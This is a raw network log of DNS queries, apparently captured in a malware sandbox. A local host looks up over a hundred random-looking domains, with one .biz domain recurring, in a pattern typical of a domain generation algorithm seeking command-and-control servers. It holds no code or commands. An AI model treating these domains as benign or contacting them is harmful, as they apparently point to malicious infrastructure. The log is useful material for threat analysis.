Sep 7, 2024 15:31:29.381390095 CEST	192.168.2.7	1.1.1.1	0x988a	Standard query (0)	fgiqigmfk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.487046957 CEST	192.168.2.7	1.1.1.1	0x77eb	Standard query (0)	fgiqigmfk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.692949057 CEST	192.168.2.7	1.1.1.1	0x1509	Standard query (0)	murgywqcuyg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.796688080 CEST	192.168.2.7	1.1.1.1	0xa6ea	Standard query (0)	murgywqcuyg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.163580894 CEST	192.168.2.7	1.1.1.1	0xaae7	Standard query (0)	guogqzcz.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.178716898 CEST	192.168.2.7	1.1.1.1	0xc5f4	Standard query (0)	guogqzcz.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.302134037 CEST	192.168.2.7	1.1.1.1	0x7b68	Standard query (0)	ocskciykucf.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.314467907 CEST	192.168.2.7	1.1.1.1	0x74d5	Standard query (0)	ocskciykucf.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.443700075 CEST	192.168.2.7	1.1.1.1	0x7d1f	Standard query (0)	tukveawdb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.546804905 CEST	192.168.2.7	1.1.1.1	0xdeed	Standard query (0)	tukveawdb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.755459070 CEST	192.168.2.7	1.1.1.1	0xfb92	Standard query (0)	pmoeeqwgo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.793751955 CEST	192.168.2.7	1.1.1.1	0xfa83	Standard query (0)	pmoeeqwgo.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.927826881 CEST	192.168.2.7	1.1.1.1	0x815f	Standard query (0)	kbiyk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.044748068 CEST	192.168.2.7	1.1.1.1	0x2c72	Standard query (0)	kbiyk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.395970106 CEST	192.168.2.7	1.1.1.1	0xbb11	Standard query (0)	uyyyjjyhdka.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.411389112 CEST	192.168.2.7	1.1.1.1	0xfbc5	Standard query (0)	uyyyjjyhdka.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.537322044 CEST	192.168.2.7	1.1.1.1	0x3f5f	Standard query (0)	skwaamsgbggeag.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.642584085 CEST	192.168.2.7	1.1.1.1	0x1519	Standard query (0)	skwaamsgbggeag.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.002629995 CEST	192.168.2.7	1.1.1.1	0xddc7	Standard query (0)	rxqlm.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.262896061 CEST	192.168.2.7	1.1.1.1	0x49d	Standard query (0)	rxqlm.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.554234982 CEST	192.168.2.7	1.1.1.1	0xd173	Standard query (0)	gtoymmkam.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.603277922 CEST	192.168.2.7	1.1.1.1	0xd582	Standard query (0)	gtoymmkam.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.755322933 CEST	192.168.2.7	1.1.1.1	0xe29e	Standard query (0)	wjcagnn.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.807877064 CEST	192.168.2.7	1.1.1.1	0xac36	Standard query (0)	wjcagnn.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.958724976 CEST	192.168.2.7	1.1.1.1	0x8787	Standard query (0)	cecizrks.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.130820990 CEST	192.168.2.7	1.1.1.1	0x6dff	Standard query (0)	osyoegacawucw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.172523975 CEST	192.168.2.7	1.1.1.1	0x864	Standard query (0)	osyoegacawucw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.317926884 CEST	192.168.2.7	1.1.1.1	0xb9ed	Standard query (0)	kerkqpkcy.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.352533102 CEST	192.168.2.7	1.1.1.1	0x901b	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.372750044 CEST	192.168.2.7	1.1.1.1	0x475b	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.490777969 CEST	192.168.2.7	1.1.1.1	0x1fa3	Standard query (0)	spqdqewqyh.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.648014069 CEST	192.168.2.7	1.1.1.1	0xec95	Standard query (0)	xgdgatocmccubh.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.805026054 CEST	192.168.2.7	1.1.1.1	0xa60f	Standard query (0)	aahempsvagk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.100016117 CEST	192.168.2.7	1.1.1.1	0xb5cc	Standard query (0)	aahempsvagk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.259565115 CEST	192.168.2.7	1.1.1.1	0xcdca	Standard query (0)	bfhqq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.559010029 CEST	192.168.2.7	1.1.1.1	0x69f4	Standard query (0)	bfhqq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.708745003 CEST	192.168.2.7	1.1.1.1	0xd229	Standard query (0)	ukhemle.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.749644041 CEST	192.168.2.7	1.1.1.1	0x3add	Standard query (0)	ukhemle.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.130759001 CEST	192.168.2.7	1.1.1.1	0x3d24	Standard query (0)	occwssawx.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.286777020 CEST	192.168.2.7	1.1.1.1	0x19d1	Standard query (0)	uicwimu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.326203108 CEST	192.168.2.7	1.1.1.1	0x37fb	Standard query (0)	uicwimu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.474131107 CEST	192.168.2.7	1.1.1.1	0x32d2	Standard query (0)	qswqomu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.582360983 CEST	192.168.2.7	1.1.1.1	0xcf93	Standard query (0)	qswqomu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.708554983 CEST	192.168.2.7	1.1.1.1	0x1fd8	Standard query (0)	csavglqmayu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.757576942 CEST	192.168.2.7	1.1.1.1	0x86e0	Standard query (0)	csavglqmayu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.912383080 CEST	192.168.2.7	1.1.1.1	0xc15	Standard query (0)	wwryileukoz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.957607031 CEST	192.168.2.7	1.1.1.1	0x47d8	Standard query (0)	wwryileukoz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.084158897 CEST	192.168.2.7	1.1.1.1	0x2697	Standard query (0)	hamnckkdxmqky.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.225267887 CEST	192.168.2.7	1.1.1.1	0x48c3	Standard query (0)	gyysmc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.240175009 CEST	192.168.2.7	1.1.1.1	0x905b	Standard query (0)	gyysmc.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.366352081 CEST	192.168.2.7	1.1.1.1	0x6cac	Standard query (0)	yswumstcrrw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.505522966 CEST	192.168.2.7	1.1.1.1	0xa43e	Standard query (0)	kmscwgsaeau.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.521501064 CEST	192.168.2.7	1.1.1.1	0xe41b	Standard query (0)	kmscwgsaeau.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.648289919 CEST	192.168.2.7	1.1.1.1	0x9b22	Standard query (0)	anagboyu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.689172983 CEST	192.168.2.7	1.1.1.1	0xf65	Standard query (0)	anagboyu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.851876020 CEST	192.168.2.7	1.1.1.1	0x3179	Standard query (0)	aomorbuexkw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.030637026 CEST	192.168.2.7	1.1.1.1	0xbb1d	Standard query (0)	aomorbuexkw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.177612066 CEST	192.168.2.7	1.1.1.1	0x7fd9	Standard query (0)	icsoxxj.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.302968025 CEST	192.168.2.7	1.1.1.1	0x7c4a	Standard query (0)	owqoy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.471496105 CEST	192.168.2.7	1.1.1.1	0x8567	Standard query (0)	owqoy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.584084034 CEST	192.168.2.7	1.1.1.1	0xeb5a	Standard query (0)	elqqtgiuyassad.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.766796112 CEST	192.168.2.7	1.1.1.1	0xf9f	Standard query (0)	elqqtgiuyassad.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.130495071 CEST	192.168.2.7	1.1.1.1	0xfbf9	Standard query (0)	esavwuvqkoseg.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.271131992 CEST	192.168.2.7	1.1.1.1	0x73	Standard query (0)	dcunbwimkgp.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.337392092 CEST	192.168.2.7	1.1.1.1	0xf124	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.347553015 CEST	192.168.2.7	1.1.1.1	0xff2c	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.477622032 CEST	192.168.2.7	1.1.1.1	0x11e8	Standard query (0)	lxegmfa.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.614636898 CEST	192.168.2.7	1.1.1.1	0xc78e	Standard query (0)	esmjouyim.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.716507912 CEST	192.168.2.7	1.1.1.1	0xb09d	Standard query (0)	esmjouyim.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.068595886 CEST	192.168.2.7	1.1.1.1	0x2c6b	Standard query (0)	cubekocaqqqhmy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.250575066 CEST	192.168.2.7	1.1.1.1	0xf679	Standard query (0)	cubekocaqqqhmy.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.632256031 CEST	192.168.2.7	1.1.1.1	0xd157	Standard query (0)	cmcokfbkk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.649349928 CEST	192.168.2.7	1.1.1.1	0xd370	Standard query (0)	cmcokfbkk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.789802074 CEST	192.168.2.7	1.1.1.1	0xab12	Standard query (0)	vqoaoij.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.046477079 CEST	192.168.2.7	1.1.1.1	0x14f5	Standard query (0)	vqoaoij.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.271625042 CEST	192.168.2.7	1.1.1.1	0x349d	Standard query (0)	iwlbfgw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.305681944 CEST	192.168.2.7	1.1.1.1	0xa5cd	Standard query (0)	iwlbfgw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.490577936 CEST	192.168.2.7	1.1.1.1	0x9bad	Standard query (0)	xakkcmmeqsh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.602467060 CEST	192.168.2.7	1.1.1.1	0xa893	Standard query (0)	xakkcmmeqsh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.037363052 CEST	192.168.2.7	1.1.1.1	0xc026	Standard query (0)	eenliu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.339286089 CEST	192.168.2.7	1.1.1.1	0xe3da	Standard query (0)	eenliu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.458638906 CEST	192.168.2.7	1.1.1.1	0x3f9	Standard query (0)	mumvetosocg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.602433920 CEST	192.168.2.7	1.1.1.1	0xc03e	Standard query (0)	cqculefd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.706000090 CEST	192.168.2.7	1.1.1.1	0xc6cd	Standard query (0)	cqculefd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.927387953 CEST	192.168.2.7	1.1.1.1	0x30f4	Standard query (0)	daialkqfbqcz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.960130930 CEST	192.168.2.7	1.1.1.1	0xbced	Standard query (0)	daialkqfbqcz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:43.084670067 CEST	192.168.2.7	1.1.1.1	0x7a49	Standard query (0)	iooeygtl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:43.831917048 CEST	192.168.2.7	1.1.1.1	0x8c16	Standard query (0)	iooeygtl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.038503885 CEST	192.168.2.7	1.1.1.1	0xc911	Standard query (0)	monaunc.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.193152905 CEST	192.168.2.7	1.1.1.1	0xee3f	Standard query (0)	rkqwdgxoi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.436173916 CEST	192.168.2.7	1.1.1.1	0xad2a	Standard query (0)	rkqwdgxoi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.647330999 CEST	192.168.2.7	1.1.1.1	0x1de0	Standard query (0)	oewgaowl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.664104939 CEST	192.168.2.7	1.1.1.1	0x22ce	Standard query (0)	oewgaowl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.789725065 CEST	192.168.2.7	1.1.1.1	0xa36a	Standard query (0)	oqawtqecg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.894615889 CEST	192.168.2.7	1.1.1.1	0x9e47	Standard query (0)	oqawtqecg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.239959955 CEST	192.168.2.7	1.1.1.1	0xf5ce	Standard query (0)	ywlgopsbq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.288558006 CEST	192.168.2.7	1.1.1.1	0xf8bc	Standard query (0)	ywlgopsbq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.661838055 CEST	192.168.2.7	1.1.1.1	0xcb67	Standard query (0)	mvjmsgs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.210381985 CEST	192.168.2.7	1.1.1.1	0x6a96	Standard query (0)	mvjmsgs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.350579977 CEST	192.168.2.7	1.1.1.1	0xe47c	Standard query (0)	whgptwpsa.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.370697975 CEST	192.168.2.7	1.1.1.1	0x10cb	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.382922888 CEST	192.168.2.7	1.1.1.1	0x6c67	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.489998102 CEST	192.168.2.7	1.1.1.1	0xaa06	Standard query (0)	aywrcwtsiz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.502439022 CEST	192.168.2.7	1.1.1.1	0x1ef4	Standard query (0)	aywrcwtsiz.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.617697954 CEST	192.168.2.7	1.1.1.1	0xe2ce	Standard query (0)	emkiycugaumouu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.631731987 CEST	192.168.2.7	1.1.1.1	0x3ca7	Standard query (0)	emkiycugaumouu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.755422115 CEST	192.168.2.7	1.1.1.1	0x70a6	Standard query (0)	kcqkywcumn.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.777240992 CEST	192.168.2.7	1.1.1.1	0xf241	Standard query (0)	kcqkywcumn.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.896244049 CEST	192.168.2.7	1.1.1.1	0x336e	Standard query (0)	visucqkss.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.909712076 CEST	192.168.2.7	1.1.1.1	0x63c	Standard query (0)	visucqkss.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.037220001 CEST	192.168.2.7	1.1.1.1	0xb03e	Standard query (0)	ioouqzzecu.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.178098917 CEST	192.168.2.7	1.1.1.1	0xa4ec	Standard query (0)	lqymiuillfonv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.420568943 CEST	192.168.2.7	1.1.1.1	0x1da9	Standard query (0)	lqymiuillfonv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.617738962 CEST	192.168.2.7	1.1.1.1	0x1365	Standard query (0)	wsyptefqnfo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.740957975 CEST	192.168.2.7	1.1.1.1	0xa509	Standard query (0)	wsyptefqnfo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.319395065 CEST	192.168.2.7	1.1.1.1	0x2f2	Standard query (0)	gmcwr.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.425102949 CEST	192.168.2.7	1.1.1.1	0xd97	Standard query (0)	gmcwr.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.536885023 CEST	192.168.2.7	1.1.1.1	0xc43d	Standard query (0)	ikbymqbyeu.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.549310923 CEST	192.168.2.7	1.1.1.1	0x45d9	Standard query (0)	ikbymqbyeu.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.661967993 CEST	192.168.2.7	1.1.1.1	0x73e3	Standard query (0)	cddgtme.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.770190001 CEST	192.168.2.7	1.1.1.1	0xccfe	Standard query (0)	cddgtme.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.974697113 CEST	192.168.2.7	1.1.1.1	0x6eca	Standard query (0)	ziknc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.448158979 CEST	192.168.2.7	1.1.1.1	0xebef	Standard query (0)	ziknc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.896161079 CEST	192.168.2.7	1.1.1.1	0x456e	Standard query (0)	qvefypmms.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.954405069 CEST	192.168.2.7	1.1.1.1	0xc9cd	Standard query (0)	qvefypmms.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.118350983 CEST	192.168.2.7	1.1.1.1	0xda0c	Standard query (0)	aecgagiuamg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.172277927 CEST	192.168.2.7	1.1.1.1	0xb2	Standard query (0)	aecgagiuamg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.302649975 CEST	192.168.2.7	1.1.1.1	0xbc14	Standard query (0)	jkcteeqcqmptiw.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.550956011 CEST	192.168.2.7	1.1.1.1	0xe567	Standard query (0)	jkcteeqcqmptiw.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.693074942 CEST	192.168.2.7	1.1.1.1	0xef40	Standard query (0)	iojwmlc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.047687054 CEST	192.168.2.7	1.1.1.1	0x7e16	Standard query (0)	iojwmlc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.396667004 CEST	192.168.2.7	1.1.1.1	0x6752	Standard query (0)	ngugovowmolzc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.431960106 CEST	192.168.2.7	1.1.1.1	0x83c2	Standard query (0)	ngugovowmolzc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.583671093 CEST	192.168.2.7	1.1.1.1	0x1fb4	Standard query (0)	iqtzgamkezkxlc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.694792032 CEST	192.168.2.7	1.1.1.1	0x3820	Standard query (0)	iqtzgamkezkxlc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.037790060 CEST	192.168.2.7	1.1.1.1	0x3122	Standard query (0)	icootdf.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.212099075 CEST	192.168.2.7	1.1.1.1	0x398	Standard query (0)	icootdf.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.477313042 CEST	192.168.2.7	1.1.1.1	0x719f	Standard query (0)	ynckk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.518306971 CEST	192.168.2.7	1.1.1.1	0x2654	Standard query (0)	ynckk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.880503893 CEST	192.168.2.7	1.1.1.1	0x86d4	Standard query (0)	qsmjdvv.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.922209978 CEST	192.168.2.7	1.1.1.1	0xcedf	Standard query (0)	qsmjdvv.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.083808899 CEST	192.168.2.7	1.1.1.1	0x7b46	Standard query (0)	hinhw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.111736059 CEST	192.168.2.7	1.1.1.1	0x87fe	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.129535913 CEST	192.168.2.7	1.1.1.1	0x35ae	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.240053892 CEST	192.168.2.7	1.1.1.1	0xbd93	Standard query (0)	gzish.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.532875061 CEST	192.168.2.7	1.1.1.1	0x1ce3	Standard query (0)	gzish.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.661561966 CEST	192.168.2.7	1.1.1.1	0x6e72	Standard query (0)	nqdmyhjzidiok.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.770046949 CEST	192.168.2.7	1.1.1.1	0x686b	Standard query (0)	nqdmyhjzidiok.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.099570990 CEST	192.168.2.7	1.1.1.1	0xd58d	Standard query (0)	qkqcckasp.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.112328053 CEST	192.168.2.7	1.1.1.1	0xbcc3	Standard query (0)	qkqcckasp.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.227473974 CEST	192.168.2.7	1.1.1.1	0xdac8	Standard query (0)	aiuweus.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.265710115 CEST	192.168.2.7	1.1.1.1	0x1e3c	Standard query (0)	aiuweus.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.396852016 CEST	192.168.2.7	1.1.1.1	0x55f7	Standard query (0)	mgqiuyioetg.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.522465944 CEST	192.168.2.7	1.1.1.1	0xa037	Standard query (0)	iacmsdmipw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.853430986 CEST	192.168.2.7	1.1.1.1	0xc2a	Standard query (0)	iacmsdmipw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.178229094 CEST	192.168.2.7	1.1.1.1	0xfef3	Standard query (0)	wtivg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.302680016 CEST	192.168.2.7	1.1.1.1	0x7130	Standard query (0)	ycgaqse.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.313930035 CEST	192.168.2.7	1.1.1.1	0xb57d	Standard query (0)	ycgaqse.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.412096024 CEST	192.168.2.7	1.1.1.1	0x9973	Standard query (0)	rcyxwj.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.445977926 CEST	192.168.2.7	1.1.1.1	0xe66f	Standard query (0)	rcyxwj.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.584083080 CEST	192.168.2.7	1.1.1.1	0xbf13	Standard query (0)	kgbkn.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.596018076 CEST	192.168.2.7	1.1.1.1	0x8201	Standard query (0)	kgbkn.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.709124088 CEST	192.168.2.7	1.1.1.1	0xb828	Standard query (0)	ueuhja.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.745312929 CEST	192.168.2.7	1.1.1.1	0x9476	Standard query (0)	ueuhja.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.887214899 CEST	192.168.2.7	1.1.1.1	0xd62f	Standard query (0)	sxitmgachwcftc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.134565115 CEST	192.168.2.7	1.1.1.1	0xe6c9	Standard query (0)	sxitmgachwcftc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.458437920 CEST	192.168.2.7	1.1.1.1	0xca27	Standard query (0)	svcoo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.559909105 CEST	192.168.2.7	1.1.1.1	0xfd5	Standard query (0)	svcoo.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.895981073 CEST	192.168.2.7	1.1.1.1	0xde13	Standard query (0)	suafgoya.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.022716045 CEST	192.168.2.7	1.1.1.1	0x1617	Standard query (0)	cehukem.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.063406944 CEST	192.168.2.7	1.1.1.1	0x7bf4	Standard query (0)	cehukem.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.177226067 CEST	192.168.2.7	1.1.1.1	0xc419	Standard query (0)	cyeqglsou.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.217295885 CEST	192.168.2.7	1.1.1.1	0x36b6	Standard query (0)	cyeqglsou.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.570157051 CEST	192.168.2.7	1.1.1.1	0xbeea	Standard query (0)	ihmqwebenkcyl.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.592530966 CEST	192.168.2.7	1.1.1.1	0x66e7	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.608433008 CEST	192.168.2.7	1.1.1.1	0x6cf3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.709275961 CEST	192.168.2.7	1.1.1.1	0xae75	Standard query (0)	xyrnewhuygeco.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.849095106 CEST	192.168.2.7	1.1.1.1	0x9b5	Standard query (0)	dajcqakcmny.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.862476110 CEST	192.168.2.7	1.1.1.1	0xa48f	Standard query (0)	dajcqakcmny.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.001077890 CEST	192.168.2.7	1.1.1.1	0x59b0	Standard query (0)	auylucqir.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.115072012 CEST	192.168.2.7	1.1.1.1	0xc8cb	Standard query (0)	uzgazuzotyo.st	A (IP address)	IN (0x0001)	false
